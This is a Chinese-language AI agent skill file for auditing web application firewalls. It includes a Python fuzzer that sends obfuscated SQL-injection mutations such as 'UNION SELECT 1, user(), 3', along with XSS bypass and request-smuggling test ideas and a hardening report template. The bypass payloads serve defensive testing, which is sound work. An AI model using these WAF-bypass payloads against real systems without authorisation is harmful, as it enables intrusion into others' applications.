---
name: "waf-bypass-auditor"
description: "WAF 规则与安全防护边界渗透审计"
---

# WAF 规则与安全防护边界渗透审计

## 适用场景
在评估企业 Web 应用防火墙（Cloudflare WAF、AWS WAF、ModSecurity、宝塔 WAF 等）的防护有效性、测试规则集是否存在被混淆绕过的盲区，或协助开发团队进行防御加固时，指导 AI 对 Web 边界输入过滤、字符集解码差异、HTTP 协议走私与分块传输（Chunked Transfer）进行系统性安全审计。

## 功能说明
> 很多团队以为“挂了 WAF 就万事大吉”，但往往被攻击者通过大小写畸形、多重 URL 编码、JSON 转义、换行截断或特殊 Unicode 字符轻松穿透。本技能提供全方位的 WAF 防护边界测试用例与加固审计方案。

## 这个案例能帮你做什么
- 自动化进行 SQL 注入与 XSS 语法的多维度混淆变异测试（内联注释 `/*!50000SELECT*/`、空字符截断 `%00`、科学计数法绕过、Unicode 兼容等价转换 NFKC/NFKD）。
- 测试 HTTP 请求协议解析差异：大小写混写 Header、双重 `Content-Length`、分块传输编码（`Transfer-Encoding: chunked`）与 HTTP/2 降级走私（Request Smuggling）。
- 自动化对比原始 Payload 被 WAF 拦截（403/406/429）与成功穿透（200/500/SQL Error）的状态分布。
- 输出加固修复报告：指导运维团队调整 WAF 正则规则、开启严格规范化（Normalization）解码，并在后端应用层实现坚固的二次白名单校验。

## 你需要的 Skills（按类型）

| 类型 | Skill / 工具 | 用途 | 来源 |
|---|---|---|---|
| HTTP 引擎 | `requests` / `httpx` | 自定义畸形 HTTP 报文与请求头注入 | Python Package |
| 编码转换 | `urllib.parse` / `unicodedata` | 生成多重编码、全角半角及转义变异载荷 | Python Standard Library |
| 内置 | `filesystem` | 测试用例管理与安全审计报告生成 | Built-in |

## 快速体验版（先跑一轮）

```text
你是顶级 Web 安全防护架构师与红蓝对抗专家。
请帮我对一套受 WAF 保护的用户搜索接口进行规则绕过与防护审计：
测试接口：GET /search?q=<payload>
1. 生成针对常见 SQL 关键词（SELECT, UNION, FROM, WHERE）的 6 种混淆变异（如内联注释、特殊空白字符、SQL 二进制/十六进制、宽字节编码）。
2. 生成针对 XSS 标签（<script>, <img>, <iframe>）的 4 种无字母/事件处理器绕过（如 onfocus/autofocus, SVG 动画事件, base64 注入）。
3. 给出测试执行反馈矩阵，并为被绕过的规则提供具体的 Nginx/ModSecurity 正则补丁。
```

## 稳定自动版（可长期运行）

### 1) 自动化 WAF 混淆变异与穿透测试器 (`waf_fuzz_auditor.py`)

```python
import requests
import urllib.parse

class WafAuditor:
    def __init__(self, target_url):
        self.target_url = target_url
        self.headers = {"User-Agent": "Security-Audit-Agent/2.0"}
        
    def generate_mutations(self, base_payload):
        """生成多重混淆变异变体"""
        mutations = [
            ("Original", base_payload),
            ("Double URL Encode", urllib.parse.quote(urllib.parse.quote(base_payload))),
            ("Inline Comments", base_payload.replace(" ", "/**/").replace("SELECT", "/*!50000SELECT*/")),
            ("Mixed Case & Newline", base_payload.replace(" ", "%0a").replace("UNION", "uNiOn")),
            ("Null Byte Injection", "%00" + base_payload),
            ("Unicode Homoglyphs", base_payload.replace("a", "а").replace("e", "е")) # 替换西里尔字符
        ]
        return mutations
        
    def audit_endpoint(self, param_name, base_payload):
        print(f"[*] 正在对基准载荷 '{base_payload}' 进行变异测试...")
        mutations = self.generate_mutations(base_payload)
        
        results = []
        for name, payload in mutations:
            url = f"{self.target_url}?{param_name}={payload}"
            try:
                resp = requests.get(url, headers=self.headers, timeout=5)
                # 403/406/429 通常代表被 WAF 成功拦截
                is_blocked = resp.status_code in [403, 406, 429]
                status_desc = "BLOCKED (🛡️ WAF拦截)" if is_blocked else f"PASSED (⚠️ 可能穿透: HTTP {resp.status_code})"
                results.append((name, resp.status_code, is_blocked))
                print(f"  - [{name:20s}] -> {status_desc}")
            except Exception as e:
                print(f"  - [{name:20s}] -> 异常: {e}")
                
        # 统计穿透率
        total = len(results)
        passed = sum(1 for _, _, blocked in results if not blocked)
        print(f"\n[+] 审计总结: 共测试 {total} 项变异，其中 {passed} 项成功穿透防护边界！")
        return results

if __name__ == '__main__':
    auditor = WafAuditor("http://127.0.0.1:8080/search")
    auditor.audit_endpoint("q", "UNION SELECT 1, user(), 3")
```

### 2) WAF 规则加固与解码规范化建议模板

```markdown
## WAF 规则集加固策略报告

1. **统一前置解码（Normalization First）**：
   - 必须在 WAF 执行正则匹配前，先进行递归解码直至输入不再变化（最多 3 次 URLDecode + Unicode NFKC 规范化），彻底消灭多重编码绕过。
2. **阻断未定义字符集与畸形传输**：
   - 在 Nginx 层开启 `client_header_buffer_size` 限制，直接拒绝包含 `%00` 空字符的 URI 请求。
   - 强制启用 `proxy_http_version 1.1`，严格拒绝混杂畸形 `Transfer-Encoding` 的走私请求。
3. **推行深度防御（Defense in Depth）**：
   - 严禁依赖 WAF 作为唯一防线，后端代码全面推行参数化查询（Prepared Statements）与上下文敏感输出转义。
```

## 风险与边界
- 严禁使用过高并发对目标站点进行无节制模糊测试，防止触发上游 CDN 或网络设备 DDoS 告警。
- 测试过程应使用无害的探测 Payload（如 `AND 1=1`、`alert(1)`），不得写入具有毁灭性破坏力的破坏性载荷。

## 使用建议
- 在进行测试前，向安全团队索取测试用 IP 白名单，或者在 staging 测试环境完全镜像生产 WAF 规则集进行无干扰审计。
- 重点关注 RESTful API 的 JSON Body 与 GraphQL 查询，传统仅针对 QueryString 的 WAF 规则往往在此类场景存在大片盲区。

## 成功标准
- 全面覆盖主流 6 种混淆编码变异维度。
- 清晰输出被穿透测试项的完整 HTTP 报文证据。
- 给出针对性、可直接配置的 WAF 防护加固规则与后端修复代码。

## 源文件
来源：awesome-openclaw-zh  
原始文件：waf-bypass-auditor.md
